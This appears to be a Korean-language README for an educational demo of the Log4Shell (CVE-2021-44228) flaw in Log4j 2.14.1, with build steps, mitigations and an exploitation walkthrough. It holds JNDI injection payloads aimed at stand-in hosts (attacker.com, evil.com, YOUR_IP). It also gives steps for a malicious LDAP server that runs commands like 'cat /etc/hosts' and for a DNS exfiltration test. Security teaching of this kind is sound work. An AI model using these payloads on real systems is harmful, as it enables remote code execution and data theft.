
Demo of CVE-2021-44228 Log4Shell.
이것은 Log4j2 원격 코드 실행 취약점(Log4Shell)을 학습하고 연구하기 위한 데모 프로젝트입니다.
이 프로젝트는 보안 연구 및 교육 목적으로만 사용되며, 프로덕션 환경에서 사용하지 마십시오!
이 프로젝트는 심각한 보안 취약점이 있는 Log4j 2.14.1 버전을 사용합니다.
./mvnw clean package
./mvnw spring-boot:run
또는:
java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar
브라우저를 열고 다음 주소에 접속하세요: http://localhost:8080
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log
curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"
curl http://localhost:8080/api/health
Log4Shell(CVE-2021-44228)은 Apache Log4j2에서 발견된 심각한 취약점입니다. 애플리케이션이 특수 형식 문자열을 포함한 사용자 입력을 로깅할 때, Log4j2는 JNDI 룩업 표현식을 해석하며, 공격자는 이 기능을 이용해 원격 코드를 실행할 수 있습니다.
${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}
${java:version}
${java:os}
${env:PATH}
Log4j2를 2.17.1 이상 버전으로 업그레이드하세요:
<properties>
<log4j2.version>2.17.1</log4j2.version>
</properties>
-Dlog4j2.formatMsgNoLookups=true
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# 1. 자동화 스크립트 실행
./setup-exploit-server.sh
# 2. JNDI-Injection-Exploit 도구 선택
# 3. 실행할 명령 입력 (예: whoami 또는 cat /etc/hosts)
# 4. 다른 터미널에서 공격 페이로드 전송
# 악성 LDAP 서버 시작
python3 simple-ldap-server.py "whoami"
# 또는 다른 명령 실행
python3 simple-ldap-server.py "cat /etc/hosts"
# 다른 터미널에서 공격 페이로드 전송
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log
# DNS 외부 전송 테스트 스크립트 실행
./test-dns-exfiltration.sh
# 안내에 따라 dnslog.cn에 접속하여 서브도메인 획득
# 그런 다음 DNS 쿼리 요청이 수신되었는지 확인
이 프로젝트는 MIT License 오픈소스 라이선스를 따릅니다.
특별 고지: 이 프로젝트는 교육 및 보안 연구 목적으로만 사용되며, 사용에 따른 모든 책임은 사용자 본인에게 있습니다.
허가 없이 타인의 시스템에 침투 테스트를 수행하는 것은 불법입니다! 이 프로젝트는 다음 용도로만 사용해야 합니다:
현지 법률과 규정을 준수하고, 이러한 지식을 책임감 있게 사용하십시오.